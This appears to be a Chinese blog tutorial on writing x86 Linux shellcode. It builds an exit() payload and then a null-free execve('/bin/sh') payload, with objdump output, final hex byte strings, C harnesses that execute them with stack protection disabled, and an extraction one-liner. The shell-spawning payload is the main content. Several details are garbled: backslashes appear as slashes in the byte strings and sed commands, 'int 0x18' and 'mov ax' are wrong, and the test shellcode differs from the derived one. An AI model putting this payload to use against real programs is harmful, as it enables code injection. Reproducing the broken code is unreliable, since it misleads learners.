shellcode如何编写Linux

这篇文章给大家分享的是有关shellcode如何编写Linux的内容。小编觉得挺实用的，因此分享给大家做个参考，一起跟随小编过来看看吧。

系统调用

shellcode是一组可注入的指令，可以在被攻击的程序中运行。由于shellcode要直接操作寄存器和函数，所以必须是十六进制的形式。那么为什么要写shellcode呢？因为我们要让目标程序以不同于设计者预期的方式运行，而操作的程序的方法之一就是强制它产生系统调用（system,call,syscall)。通过系统调用，你可以直接访问系统内核。在Linux里有两个方法来执行系统调用，间接的方法是c函数包装（libc），直接的方法是用汇编指令（通过把适当的参数加载到寄存器，然后调用int 0x80软中断）系统调用号是确定一个系统调用的关键数字，在执行int指令之前，它应当被传入EAX寄存器中，确定了一个系统调用号之后就要考虑给该系统调用传递什么参数来完成什么样的功能。存放参数的寄存器有5个，他们是EBX，ECX，EDX，ESI和EDI，这五个寄存器顺序的存放传入的系统调用参数。在Ubuntu18.04上可通过以下文件查看系统调用号：

/usr/include/x8664-linux-gnu/asm/unistd32.h

1. #ifndef _ASM_X86_UNISTD_32_H

2. #define _ASM_X86_UNISTD_32_H 1

4. #define __NR_restart_syscall 0

5. #define __NR_exit 1

6. #define __NR_fork 2

7. #define __NR_read 3

8. #define __NR_write 4

9. #define __NR_open 5

10. #define __NR_close 6

11. #define __NR_waitpid 7

12. #define __NR_creat 8

13. #define __NR_link 9

14. #define __NR_unlink 10

15. #define __NR_execve 11

ASCII码

为exit()系统调用写shellcode

exit系统调用流程

手写查看exit的系统调用流程。编写exit.c代码：

1. #include<stdio.h>

2. #include <unistd.h>

3. #include<stdlib.h>

4. int main(){

5.    exit(0);

6. }

编译时使用static选项，防止使用动态链接，在程序里保留exit系统调用代码

gcc -static -o exit exit.c -32

exit <+0> 把系统调用的参数加载到ebx_exit <+4>和exit <+16>行是把对应的系统调用编号分别被复制到eax。最后的int 0x80指令把cpu切换到内核模式，并执行我们的系统调用。

shellcode编写

要注意的是我们的shellcode应该尽量地简洁紧凑，这样才能注入更小的缓冲区（当你遇到n字节长的缓冲区时，你不仅要把整个shellcode复制到缓冲区，还要加上调用shellcode的指令，所以shellcode必须比n小）。在实际环境中，shellcode将在没有其他指令为它设置参数的情况下执行，所以我们必须自己设置参数。这里我们先通过将0放入ebx中的方法来设置参数。参考exit系统调用流程（1）将0放入ebx中（2）将0x1放入eax中（3）调用int 0x18编写exit_shellcode.asm

1. Section .text

2.        global _start

3. _start:

4.        mov ebx, 0

5.        mov ax, 1

6.        int 0x80

然后用nasm编译，生成目标文件，再用gun ld来连接：

1. nasm -f elf32 -o hello.o exit_shellcode.asm

2. ld -m elf_i386   -o hello hello.o

查看相应的opcode:

注意:看起来好像是成功了。但是很遗憾，这个shellcode在实际攻击中可能会无法使用。可以看到，这串shellcode中还有一些NULL（/x00）字符，当我们把shellcode复制到缓冲区时，有时候会出现异常（因为字符数组用null做终止符）。要编写真正有用的shellcode我们还要想办法把/x00消去。

对上面的代码进行优化，来去除（/x00）,如下所是：

1. Section .text

2.        global _start

3. _start:

4.        xor ebx, ebx

5.        mov al, 1

6.        int 0x80

使用nasm编译和gun ld进行连接，通过objdump进行查看，如下所是：嗯，已经没有/x00了。接下来就可以编写个c程序来测试这个shellcode了。这块设计到c语言的指针函数和函数指针。后续更新指针函数相关内容。

1. char shellcode[] = "/x31/xdb"

2.                   "/xb0/x01"

3.                   "/xcd/x80";

4. int main(void)

5. {

7.    int *ret;

8.    ret = (int *)&ret + 2;

9.    (*ret) = (int)shellcode;

10. }

编译后用strace来查看系统调用：

为execve()编写shellcode

通过execve返回shell

1. #include<unistd.h>

2. #include<stdlib.h>

3. char *buf [] = {"/bin/sh",NULL};

4. int main(void)

5. {

6.          execve("/bin/sh",buf,0);

7.          exit(0);

8. }

编译程序，运行可获得系统shell:开始编写shellcode:

1. global _start

2. _start:

3. mov eax,0 ;eax置0

4. mov edx,0 ;edx置0

5. push edx

6. push "/sh"

7. push "/bin"  ;将/bin/sh存入栈中

8. mov ebx,esp  ;ebx指向/bin/sh字符串

9. xor eax,eax

10. mov al,0Bh   ;eax置为execve函数中断号

11. int 80h

保存为shellcode.asm，通过编译链接，然后运行，获得shell

获得机器码

$ objdump -d shellcode shellcode: file format elf32-i386Disassembly of section .text: 08048060 <_start>: 8048060: b8 0000 00 00 mov $0x0,%eax 8048065: ba 00 00 00 00
mov $0x0,%edx 804806a: 52 push %edx804806b: 68 2f 73 68 00 push $0x68732f 8048070: 68 2f62 69 6e push $0x6e69622f 8048075: 89 e3
mov %esp,%ebx 8048077: 31 c0 xor %eax,%eax8048079: b0 0b mov $0xb,%al 804807b: cd 80
int $0x80

发现机器码中有许多/x00字节，shellcode中存在/x00字节在进行利用的时候会被截断，所以我们要避免出现/x00字节，重新修改我们的汇编程序

1. global _start

2. _start:

3. xor ecx,ecx

4. xor edx,edx

5. push edx

6. push "//sh"

7. push "/bin"

8. mov ebx,esp

9. xor eax,eax

10. mov al,0Bh

11. int 80h

编译链接运行，得到机器码
$ objdump -d ./shellcode./shellcode: file format elf32-i386Disassembly of section .text:08048060 <_start>:8048060: 31 c9 xor %ecx,%ecx8048062: 31 d2 xor %edx,%edx8048064: 52 push %edx8048065: 68 2f 2f 73 68 push $0x68732f2f804806a: 68 2f 62 69 6e push $0x6e69622f804806f: 89 e3 mov %esp,%ebx8048071: 31 c0 xor %eax,%eax8048073: b0 0b mov $0xb,%al8048075: cd 80 int $0x80

没有出现/x00字节，得到最终的 shellcode = "/x31/xc9/x31/xd2/x52/x68/x2f/x2f/x73/x68/x68/x2f/x62/x69/x6e/x89/xe3/x31/xc0/xb0/x0b/xcd/x80"

测试代码：

1. void main(){

2.    char shellcode[] = "/x31/xc9/xf7/xe1/xb0/x0b/x51/x68/x2f/x2f/x73/x68/x68/x2f/x62/x69/x6e/x89/xe3/xcd/x80";

3.    void (*fp)(void);

4.    fp = (void*)shellcode;

5.    fp();

6. }

编译：

gcc -fno-stack-protector -z execstack shellcode.c -o shellcode -m32

这里分享一个方便提取shellcode的指令,其中./execve-stack是可执行程序

objdump -d ./execve-stack|grep '[0-9a-f]:'|grep -v 'file'|cut -f2-d:|cut -f1-6 -d' '|tr -s ' '|tr '/t' ' '|sed 's/ $//g'|sed 's/ //x/g'|paste -d '' -s |sed 's/^/"/'|sed 's/$/"/g'

感谢各位的阅读！关于“shellcode如何编写Linux”这篇文章就分享到这里了，希望以上内容可以对大家有一定的帮助，让大家可以学到更多知识，如果觉得文章不错，可以把它分享出去让更多的人看到吧！